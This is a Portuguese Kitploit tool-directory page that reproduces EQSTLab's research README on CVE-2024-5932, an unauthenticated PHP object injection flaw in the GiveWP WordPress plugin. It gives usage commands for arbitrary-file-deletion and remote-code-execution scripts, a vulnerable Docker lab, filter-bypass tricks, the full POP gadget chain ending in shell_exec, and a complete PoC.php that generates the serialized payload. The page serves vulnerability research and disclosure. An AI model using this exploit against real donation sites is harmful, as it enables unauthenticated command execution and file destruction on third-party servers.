Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-5932 — Exploit de injeção de objeto PHP no GiveWP | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2024-5932
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

Exploit de injeção de objeto PHP no GiveWP

Ver Repositório
7810há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Este post é um artigo de pesquisa publicado por EQSTLab.

❗❗ IMPORTANTE ❗❗

Atualmente, existem repositórios falsos no GitHub com PoCs que executam xmrig. Confira o link abaixo para mais informações:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC de Exclusão Arbitrária de Arquivos e RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Linha do Tempo

25 de Agosto: PoC de Exclusão de Arquivos CVE-2024-5932 enviado

26 de Agosto: Conseguimos executar comandos arbitrários usando CVE-2024-5932, mas estamos considerando a divulgação devido ao impacto.

27 de Agosto: Encontramos uma análise detalhada do PoC em um post de Julien Ahrens da RCE Security e decidimos publicar nosso PoC de RCE. Enviamos um PoC adicional de RCE como CVE-2024-5932-rce.py.

Descrição

CVE-2024-5932 : Vulnerabilidade de Injeção de Objetos PHP no GiveWP descrição: O plugin GiveWP Donation Plugin and Fundraising Platform para WordPress é vulnerável a Injeção de Objetos PHP em todas as versões até, e incluindo, 3.14.1, através da desserialização de entrada não confiável do parâmetro 'give_title'. Isso possibilita que atacantes não autenticados injetem um Objeto PHP. A presença adicional de uma cadeia POP permite que atacantes executem código remotamente e excluam arquivos arbitrários.

Como usar

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Instalar pacotes

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Exclusão de arquivos arbitrários
python CVE-2024-5932.py -u <URL_ALVO(URL do Formulário de Doação)> -f <ARQUIVO_A_EXCLUIR>
# Execução remota de código
python CVE-2024-5932-rce.py -u <URL_ALVO(URL do Formulário de Doação)> -c <COMANDO_A_EXECUTAR>

Exemplo

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Saída

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Resultado

image 2

Ambiente Vulnerável

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Em seguida, baixe o plugin GiveWP vulnerável:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Descompacte o arquivo zip do plugin GiveWP e copie todo o arquivo para o diretório “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Ative o plugin GiveWP

image

5. Adicione um novo post com o plugin GiveWP e copie o link do post

image

6. Verifique o link vulnerável

image

(Opcional) Configure o arquivo alvo no ambiente docker

Primeiro, acesse o shell do wordpress com o seguinte comando:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Se o arquivo pertence ao root, pode não ser excluído devido a permissões. Portanto, você precisa alterar a propriedade do arquivo de teste com o seguinte comando:

root@kitploit:~
touch test && chown www-data test

image

Depuração via PHPSTORM

Você pode depurar seu GiveWP usando PHPSTORM.

1. Baixe o xdebug no seu wordpress (Docker):

root@kitploit:~
pecl install xdebug

2. E então configure o arquivo php.ini do wordpress como (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={seu_endereco_PHPSTORM}
xdebug.client_port={sua_porta_de_depuracao_PHPSTORM}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..E então você pode depurar seu wordpress.

3. Configure o PHPSTORM como (Local):

image image

4. Exemplo PHPSTORM (ex.: exclusão arbitrária de arquivos TCPDF)

image

Análise

Ponto vulnerável (includes/payments/class-give-payment.php)

Neste ponto, a função get_meta() desserializa o valor "give_title" previamente salvo.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Técnica de bypass

strip_tags: substituir nullbytes -> usando \0

stripslashes_deep: substituir barras invertidas -> usando \\\\

Encadeamento POP para RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Retorna string de comando)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Cenário de Ataque

RCE através da Cadeia POP

A cadeia POP permite execução remota de comandos. image

Exclusão Arbitrária de Arquivos

Usando TCPDF, é possível explorar a exclusão arbitrária de arquivos.

Aviso Legal

Este repositório não se destina a ser um exploit de injeção de objetos para CVE-2024-5932. O objetivo deste projeto é ajudar as pessoas a aprender sobre esta vulnerabilidade e, talvez, testar suas próprias aplicações.

EQST Insight

Publicamos análises de CVEs e malwares uma vez por mês. Se você tiver interesse, siga os links abaixo para conferir nossas publicações. https://www.skshieldus.com/eng/business/insight.do

Referência

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Baixar ferramenta